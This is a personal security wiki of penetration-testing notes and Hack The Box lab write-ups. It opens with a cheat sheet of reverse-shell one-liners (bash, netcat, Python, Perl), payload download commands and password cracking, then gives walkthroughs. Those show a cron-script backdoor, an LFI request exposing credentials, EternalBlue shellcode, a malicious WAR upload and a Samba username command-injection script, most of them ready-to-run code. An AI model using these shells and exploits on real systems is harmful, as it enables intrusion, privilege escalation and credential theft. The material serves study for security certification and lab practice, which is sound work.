# The Hitchhiker's Guide to Random Knowledge

Hey There! It looks like you've stumbled accross my personal wiki, thanks for stopping by. This is a place for me to share any of my notes that I've found useful, writeups on security challenges I've completed, or anything else I find interesting.


# Security


# File Transferring

### Via NetCat

```bash
#On the Receiving Machine
nc -l -p 9999 > received_file.txt

#On the Sending Machine
nc 10.10.10.10 9999 < received_file.txt
```

### Via FTP

{% hint style="success" %}
This is especially useful for non-interactive Windows reverse shells
{% endhint %}

```bash
# In Kali
pip install pyftplib
python -m pyftpdlib -p 21 -w

# In reverse shell
echo open 10.10.10.10 > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt 
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt

# Execute
ftp -v -n -s:ftp.txt
```

### Via TFTP

```bash
# In Kali
atftpd --daemon --port 69 /tftp

# In reverse shell
tftp -i 10.10.10.10 GET file.txt
```

### Via HTTP

* Using basic commands

```bash
# In Kali
python -m SimpleHTTPServer 80

# In reverse shell - Linux
wget 10.10.10.10/file
curl 10.10.10.10/file

# In reverse shell - Windows
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"
```

* Using VBS on a Windows reverse shell

```bash
# In reverse shell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

# Execute
cscript wget.vbs http://10.10.10.10/file.exe file.exe
```

* Using javascript on a Windows reverse shell

```bash
# In Kali
python -m SimpleHTTPServer 80 

# In reverse shell
echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); >> wget.js
echo WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); >> wget.js
echo WinHttpReq.Send(); >> wget.js
echo BinStream = new ActiveXObject("ADODB.Stream"); >> wget.js
echo BinStream.Type = 1; >> wget.js
echo BinStream.Open(); >> wget.js
echo BinStream.Write(WinHttpReq.ResponseBody); >> wget.js
echo BinStream.SaveToFile("file.txt"); >> wget.js

cscript /nologo wget.js http://10.10.10.10/file.txt
```

* Using Certutil on a Windows reverse shell

```bash
# In Kali
python -m SimpleHTTPServer 80

# In reverse shell
certutil.exe -urlcache -split -f "http://10.10.10.10/file.txt" file.txt
```


# Reverse Shells

## Catching Reverse Shells

* Because metasploit usage is limited in the OSCP exam, we will stick to basic NetCat receivers

```bash
nc -nvlp 31337
```

## Using Tools Present

* Bash

```bash
bash -i >& /dev/tcp/10.10.10.10/31337 0>&1
```

* Netcat without -e flag

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 31337 >/tmp/f
```

* Netcat with -e flag

```bash
nc -e /bin/bash 10.10.10.10 31337
```

* Python

```bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

* Perl

```bash
perl -e 'use Socket;$i="10.10.10.10";$p=31337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

* Xterm

```bash
#On target system
xterm -display 10.10.10.10:1

#On Kali
Xnest :1
xhost +<targetip>
```


# Password Attacks

This page is were I'll store all of my password attacking commands and tips. For local hash cracking I'll usually default to Hashcat. Hashcat is going to work best when running on your host machine rather than inside of a VM, especially if your host machine has a video card installed. When utilizing a graphics card Hashcat can be *much* faster than john the ripper, but there are still some cases where we'll use the tools provided by `john`.

## Wordlists

* [seclists](https://github.com/danielmiessler/SecLists)
* `apt install wordlists`
  * `/usr/share/wordlists/rockyou.txt.gz`

## Hash Cracking

### Unix MD5 Hashes:

```bash
 echo '$1$cVbu7POZ$WB/V36i/G00QKzHkkqWig/' > hashes.txt
 .\hashcat64.exe -o cracked.txt -m 500 .\hashes.txt .\rockyou.txt
 cat cracked.txt
```

### Windows NTLM Hashes:

```bash
echo C5E0002FDE3F5EB2CF5730FFEE58EBCC > hashes.txt
.\hashcat64.exe -o cracked.txt -m 1000 .\hashes.txt .\rockyou.txt
cat cracked.txt
```

### Password Locked Private RSA Key:

This is going to be one of the few times where we use `john`.

```bash
python /usr/share/john/ssh2john.py locked_key.pem > locked_key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt joanna.hash
```

## Web Applications

### HTTP Post Form:

```bash
hydra -P /usr/share/wordlists/nmap.lst -l admin 10.10.10.10 http-post-form "/path/to/login/admin.php:username=^USER^&password=^PASS^:Incorrect"
```


# Enumeration

## Nmap

* Quick TCP Scan

```bash
nmap -sC -sV -vv -oN quick 10.10.10.10
```

* Quick TCP Scan

```bash
nmap -sU -sV -vv -oN quick_udp 10.10.10.10
```

* Full TCP Scan

```bash
nmap -sC -cV -p- -vv -oN full 10.10.10.10
```

## Banner Grabbing

* Netcat Banner Grab

```bash
nc -v 10.10.10.10 <port>
```

* Telnet Banner Grab

```bash
telnet 10.10.10.10 <port>
```

## SMB

* Nmap Vulnerability Scan

```bash
nmap -p 139,445 -vv --script=smb-vuln* 10.10.10.10
```

* Nmap User and Share Scan

```bash
nmap -p 139,445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.10.10
```

* Enum4linux

```bash
enum4linux -a 10.10.10.10
```

* smbmap

```bash
smbmap -H 10.10.10.10
```

* Null Connection Test

```bash
rpcclient -U "" 10.10.10.10
```

* Connecting to a client

```bash
smbclient //MOUNT/share
```

* Getting the version of Samba:

```bash
# Originally from: https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html#enum4linux
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
sleep 0.5 && echo ""
```

## SNMP

* snmp-check

```bash
snmp-check 10.10.10.10
```

## Web Scanning

* quick directory busting scan with gobuster

```bash
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.10:<port> -s 200,204,301,302,307,403,500 -e -k -t 50 -np -o gobuster_quick_scan.txt
```

* targeting specific extensions with gobuster

```bash
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.10:<port> -s 200,204,301,302,307,403,500 -e -k -t 50 -np -o gobuster_quick_scan.txt -x .txt,.php
```

* Nikto

```bash
nikto -h http://10.10.10.10:<port>
```

* WordPress Scan

```bash
wpscan -u 10.10.10.10 port
```

## Oracle Databases

* Oscanner

```bash
oscanner -s 10.10.10.10. -p 1521
```


# One Liners

This is simply a random assortment of useful one line commands that I use frequently.

## Mounting Shared Folders for VMWare

```bash
sudo vmhgfs-fuse .host:/ /mnt/ -o subtype=vmhgfs-fuse,allow_other
```

## Spoofing a Webserver with Socat

Have a xss vulnerability and need a place to make requests to? Sure you could set up a python webserver, but if you simply need to catch requests and display them then socat is a better solution.

```bash
sudo socat TCP-LISTEN:80,reuseaddr,fork -
```


# Hack The Box


# Bashed

![info-card](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-f98f531def18b97827c6de6666f386fed2931206%2Finfo_card.png?alt=media)

## Initial Enumeration

As always, we'll start off with a simple nmap scan:

```bash
nmap -sV 10.10.10.68
```

![Initial Nmap Scan](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-4f4ad4dd610c1cdef64703ce022fe256803664b0%2Finitial_nmap.png?alt=media)

Usually with such sparse results I would run a full port scan, but we'll investigate this webserver for now seeing that this is a box rated easy. Navigating to the landing page of this webserver we see the following:

![Landing Page](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-964dc754b9189f26be39f2de45b21dc4e246b934%2Flanding_page.png?alt=media)

Well this certainly looks interesting. If you dig around through the posts on this page you'll learn that this is a project for running a terminal in your browser and you will also come across the github [repo](https://github.com/Arrexel/phpbash). Let's run a directory buster against this webserver to see what other pages it could be hiding:

```bash
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.68 -t 50
```

![Gobuster Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-f76b6ca10452f1ba1235e9390527dddd6694f793%2Fgobuster.png?alt=media)

From this we see a directory `/dev` which could be interesting. Navigating to this page shows us a file `phpbash.php` which gives us a php terminal as the `www-data` user in our browser:

![PHPBash](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-452e32f0cbbfbb1079c5eb02abad5b63b86b4e84%2Fphpbash.png?alt=media)

## Exploitation

While we have a web shell, I would much rather have a full reverse shell. I tried using my usual methods (nc or Bash -i), but python ended up being the tool for the job. Using the following command in the webshell we're able to trigger a reverse shell back to our host:

```bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
```

![Reveres Shell](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-864e4fcc2fb76738227b22a8a3de71e2ad0597f4%2Freverse.png?alt=media)

As usual on a Linux box, we check `sudo -l` for quick wins. This command shows us that we are able to run any command as the user `scriptmanager`:

![Sudo Access](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-43fce4efcf8840d7ab194fcb0e344a1df60a84e7%2Fsudo.png?alt=media)

Before testing this access lets improve our QOL a little by converting our reverse shell to a full `tty` session. We can do this with python like so:

```bash
# Enter while in reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'

Ctrl-Z

# In Kali
stty raw -echo
fg

# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
```

{% hint style="info" %}
If you are asked for the terminal type after running `reset` and before you export the `TERM` variable. simply enter `xterm-256color` and proceed as normal.
{% endhint %}

After running these commands we'll have a fully interactive tty session, allowing us to use terminal functions such as `clear` and tab completion:

![Fully interactive Shell](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-1140757da33acbe841b6298acf4dd9ba7e041a04%2Finteractive.gif?alt=media)

With this let's go ahead and assume the user `scriptmanager` using `sudo`:

```bash
sudo -i -u scriptmanager
```

![Assuming the scriptmanager User](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-51b8a51f37b0bcc1fa52fa91f1f7477978aa4141%2Fassume.png?alt=media)

With this access we are able to read the user flag:

![User Flag](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-1bf58dfa52566d3891c7ee3b86162efe21dda9b3%2Fuser.png?alt=media)

## Privilege Escalation

Now that we're the `scriptmanager` user, let's take a look and see what we can do with this level of access. To start we'll check the root directory and list it's contents. In here we see that we are able to read, write, and execute in a directory called `scripts`. Inside of this directory lies two files, `test.py` and `test.txt`. What's interesting here is that `scriptmanager` owns `test.py` and `root` owns `test.txt`:

![The Scripts Directory](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-5ed3b848abaeba333c4c0ca5fa346e95e5dc2969%2Fscripts.png?alt=media)

Let's take a closer look at `test.py`:

```python
f = open("test.txt", "w")
f.write("testing 123!")
f.close
```

So it's a pretty simple script that opens a file `test.txt` in the current directory, writes `testing 123!` and closes the file. Knowing that the file `test.txt` is owned by `root`, we can assume that the root user is executing this script on some schedule. This makes this an easy task for us, because all we need to do is insert a reverse shell into this script and wait for it to be executed as the `root` user. To do this we will use the same logic as our first reverse shell, but because this will live in an actual python script we can clean up the syntax. After modification this is what `test.py` looks like:

```python
import socket,subprocess,os
f = open("test.txt","w")
f.write("privesc")
f.close
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.13",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

After writing this file and starting a netcat listener on port `4444` we only need to wait about a minute and our script is executed as the `root` user. This gives us the ability to read the root flag:

![Root Flag](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-80ae78772f1ae11f924f5216602426ac6c466fc7%2Froot.png?alt=media)


# Beep

![info-card](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-c71c290d3f39dd7a589d05f7c8d92f633ab0e60a%2Finfo_card.png?alt=media)

## Initial Enumeration

First we'll start off with a simple nmap scan to see what we have to work with:

```bash
nmap -sV 10.10.10.7 
```

![Nmap Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-da9e55d1dc03e78ba1fd4b40e9385e43e919f04a%2Finitial_nmap.png?alt=media)

So there is a **lot** of output here, which is most likely there to send you down rabbit holes. Just slowly go through each result and take a quick peak and move on to the next one. It can be really easy to dive too deep into the wrong solution, so try to keep that in mind here. As we progress through all of the open ports we get to `80` (which redirects to `443`) and see a login page for Elastix:

![Elastix Login](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-61992607249a75c568c7e4b6bae4b79008baf9d4%2Felastix.png?alt=media)

As usually, we try some default credentials that we find from a google search (`admin:admin`,`admin:mypassword`,`admin:palosanto`,etc), but we turn up empty. Our next step is looking for exploits. using searchsploit we find this [exploit](https://www.exploit-db.com/exploits/37637):

![Searchsploit Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-dbbbb0030c3744e4e6c998adfd9ac4640ba543bc%2Fsearchsploit.png?alt=media)

Looking through the exploit we see that in the `2.2.0` version of Elastix there is an LFI vulnerability.

## Exploitation

The code provided with the exploit goes to a known file location for this service, which also happens to store the admin password in plain text. Instead of using the perl exploit to perform a `GET` request, we can simply navigate to the url that it builds:

```
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
```

This gives us some less than readable information:

![Original LFI Output](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-b3730c4d42eb7871f53ccabc43632319bff1ac72%2Fugly.png?alt=media)

But we can clean this up by viewing the source of the page (`CTRL+U` in firefox):

![Source of LFI Output](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-354faa8c409fb7b63698e16ca15618f4763ff4c8%2Fpretty.png?alt=media)

We can clearly see that the credentials we need are `admin:jEhdIekWmdjE` and we are able to log into the Elastix console. While there were also some authenticated RCE vulnerabilities in our searchsploit results, lets try the easiest option first and attempt to ssh to the box as root with the same password:

![SSH](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-525cb9275d8b493e739b9bcf42eff8e2d0d2d0c6%2Fssh.png?alt=media)

The lazy sysadmin strikes again! With this we are able to read both flags:

![Flags](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-0d74531b949ffacb1d9e076c59fa3bcdfaa3e08a%2Fflags.png?alt=media)


# Blue

![info-card](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-30bf5d3d41d1d2c9085ab86f5bb203271d0ea7dc%2Finfo_card.png?alt=media)

## Initial Enumeration

Like any other target, we'll start off with a quick port scan to see what we're working with:

```bash
nmap -sV 10.10.10.40
```

![Initial Nmap Scan](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-f9627b0c67a078073fd909b04bd202474023c695%2Finitial_nmap.png?alt=media)

Judging by this output and the name of the box, It's pretty safe to assume we're looking at [Eternal Blue](https://en.wikipedia.org/wiki/EternalBlue). We can use some NSE scripts to verify that for us though:

```bash
nmap -p 139,445 --script=smb-vuln* 10.10.10.40
```

![SMB Vulnerability Scan](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-f12198a7866245a3c49f62001c8a9e92901e0dd6%2Fsmb_nmap.png?alt=media)

Bingo, now we just have to find ourselves an exploit. While we could easily do this with Metasploit, I'd prefer to go through the steps (semi)manually. Throughout my OSCP I've found this [repo](https://github.com/worawit/MS17-010) to work pretty well. So first we'll clone the repo and run their checker script to verify the vulnerability:

```bash
git clone https://github.com/worawit/MS17-010.git
cd MS17-010
./checker.py 10.10.10.40
```

![Eternal Blue Validation](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-9e4eec98e3d14d907175b9999d978a95aa33ec1a%2Feternal_checker.png?alt=media)

## Exploitation

Looking at the output it seems like we are good to continue down this path. Our next step will be to generate the payload we want to be executed by the exploit, which will be our reverse shell. The automation scripts in the this repo build the shellcode for both `x86` and `x64`, but for our purposes we'll only generate one stageless payload for `x64` (this is just an educated guess). If you take a look at the script `shellcode/shell_prep.sh` you can see what needs to be done. Basically we use `nasm` to compile the kernel shell code, generate our reverse shell with `msfvenom`, then combine the two:

```bash
cd shellcode

nasm -f bin eternalblue_kshellcode_x64.asm -o kernel.bin

msfvenom -p windows/x64/shell_reverse_tcp -f raw -o reverse.bin EXITFUNC=thread LHOST=$(tunip) LPORT=4443

cat kernel.bin reverse.bin > payload.bin
```

{% hint style="info" %}
`tunip` is aliased to `ifconfig tun0 | sed -n '2 p' | awk '{print \$2}'`. This is simply a shortcut to get my current Hack The Box vpn ip address.
{% endhint %}

With our payload generated, we just need to start a netcat listener on port `4443` and fire off the exploit (pro tip: tmux makes managing the different terminals for this a breeze). From the output of `checker.py` we also know the operating system is Windows 7, so we'll use `eternalblue_exploit7.py`:

```bash
# In tmux pane A:
nc -nvlp 4443

# In tmux pane B:
python eternalblue_exploit7.py 10.10.10.40 shellcode/payload.bin
```

This gives us a reverse shell as `nt authority\system` and we are able to read the root and user flags:

![Flags](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-47d8fb0152aa3936a6e94d87daebb7b0cdf3ed2d%2Fflags.png?alt=media)


# Jerry

![info-card](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-4bc238f0e8903d736a694130086e9f0c70ce6ef9%2Finfo_card.png?alt=media)

## Initial Enumeration

Our initial enumeration doesn't leave much to the imagination here, our quick nmap scan only returns one open port.

```bash
nmap -sV 10.10.10.95
```

![Nmap Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-10986d8b3c3f0256aee2daff7e70bf7f77f5bbc8%2Fnmap.png?alt=media)

Naturally we assume Tomcat is our target for this box. On tomcat instances, you can reach the management console at `/manage`, but if you didn't know that already, you can find that using gobuster:

```bash
gobuster dir -u http://10.10.10.95:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 50
```

![Gobuster Results](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-e7c6c166a742964decedabf5f25b798e03f398e8%2Fgobuster.png?alt=media)

For the login we treat it like any other application, google for default credentials. Doing this brought me to a great github repository for default credentials where I found [this](https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown) page. Using the credentials `tomcat:s3cret` from that list gives us access.

## Execution

Looking at the management console, we see something that catches our eye as a path to execution:

![WAR Upload Form](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-30a8bf108638bb9d4785e3c1d0756326961c034e%2Fwar_upload_form.png?alt=media)

Know that we know we can deploy `war` files to the server, we can generate a reverse shell with `msfvenom`:

```bash
msfvenom -p java/shell_reverse_tcp LHOST=$(tunip) LPORT=4443 -f war > evil.war
```

{% hint style="info" %}
`tunip` is a handy bash alias I use to get my current IP address for Hack The Box. it is set to `ifconfig tun0 | sed -n '2 p' | awk '{print \$2}'` in my `~/.bash_aliases`
{% endhint %}

{% hint style="danger" %}
If you happen to work out of a folder shared between your kali VM and windows like I do, windows defender will nuke this file as soon as you generate it. So it's best to do this somewhere else (I just generated it in `/tmp`)
{% endhint %}

After uploading this file we can see it in the list of running applications:

![Evil War Application](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-da6cf88f037e9b8d5237779e3389a6ec891f391e%2Fevil_war.png?alt=media)

Clicking on the link to our malicious application triggers the reverse shell. It just happens that Tomcat is run as `nt authority/system` in this case, so we now have full access to the system and are able to read the user and root flags:

![User and Root Flags](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-2b458e65886b3236c21744478e2fc1fa628e78cf%2Fflags.png?alt=media)


# Lame

![info-card](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-361211a19e40608e96e4bcd71341037a6221636d%2Finfo_card.png?alt=media)

## Initial Enumeration

The enumeration phase for this box is rather straight forward. To start off we will run a quick nmap scan with the following:

```bash
nmap -sV -sC 10.10.10.3
```

We can immediately see a possible point here:

![vsftpd](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-b3ea7de32552cbd927e631a8a81f953eee6a35e9%2Fvsftpd-nmap.png?alt=media)

This version of `vsftpd` is quite old and a quick google search for that version brings up this [exploit](https://www.exploit-db.com/exploits/17491). Unfortunately it looks like this isn't exploitable on this box. Our next option is Samba. We get some version information from nmap:

![smb](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-5f3c25b8f4e05a3db561eb2bcda2626e7ad48723%2Fsmb-nmap.png?alt=media)

From this we only know that it's between 3.X - 4.X, which isn't all too useful. The most reliable way to fingerprint a Samba server is going to be capturing some network traffic and inspect the packets. For capturing packets you can use Wireshark or tcpdump (I'll use Wireshark here) and to generate the traffic we will just scan the server with `smbmap`. This gives us the dual purpose of collecting network packets as well as some additional enumeration on the service. From `smbmap` we can see that we have read/write access to a share `/tmp` as well as the version of the server:

![smbmap](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-3411d03b490e2040fff3993dcd730d119f24e01b%2Fsmbmap.png?alt=media)

We can also see the version number in Wireshark, which is `samba 3.0.20-Debian`:

![smb-wireshark](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-84a8550d78f759438f8cb3460b489d0e4c69b719%2Fsmb-wireshark.png?alt=media)

## Exploitation

Searching for that with searchsploit brings up a metasploit [module](https://www.exploit-db.com/exploits/16320), but the exploit itself is pretty simple, so I will just write a python script to exploit it. Essentially we are injecting bash commands into the username field during the initial smb request. I'll use the following python script to kick off a reverse shell using the `-e` flag with `nc` on the target:

```python
#!/usr/bin/python

from smb.SMBConnection import SMBConnection
from smb import smb_structs
smb_structs.SUPPORT_SMB2 = False
import sys
if len(sys.argv) < 2:
    print "\nUsage: " + sys.argv[0] + " <HOST>\n"
    sys.exit()



username = "/=`nc -e /bin/bash 10.10.14.12 4443`"
password = ""
conn = SMBConnection(username, password, "HACKTHEBOX" , "HTB", use_ntlm_v2 = False)
assert conn.connect(sys.argv[1], 445)
```

This gives us a root shell and we are able to read the `root.txt` file (as well as `user.txt` of course):

![root](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-37b13af1e4815ab720e490e3105df3ad7a4bca8f%2Froot.png?alt=media)


# Legacy

![info-card](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-b647d62f912769e7538d5d41265b3038c0385808%2Finfo_card.png?alt=media)

## Initial Enumeration

Like any other target, we'll start off with a quick port scan to see what we're working with:

```bash
nmap -sV 10.10.10.4
```

![Initial Nmap Scan](https://3224288402-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Lu8Z9CKAFTUHKxIXyp7%2Fuploads%2Fgit-blob-0a5ccba0eee3a944f7a2b95a81b985af8b641caa%2Finitial_nmap.png?alt=media)

Looking at this output it's safe to say SMB is the target here. Let's take a closer look at this service using some NSE scripts:

```bash
nmap -p 139,445 --script=smb-vuln* 10.10.10.4
```

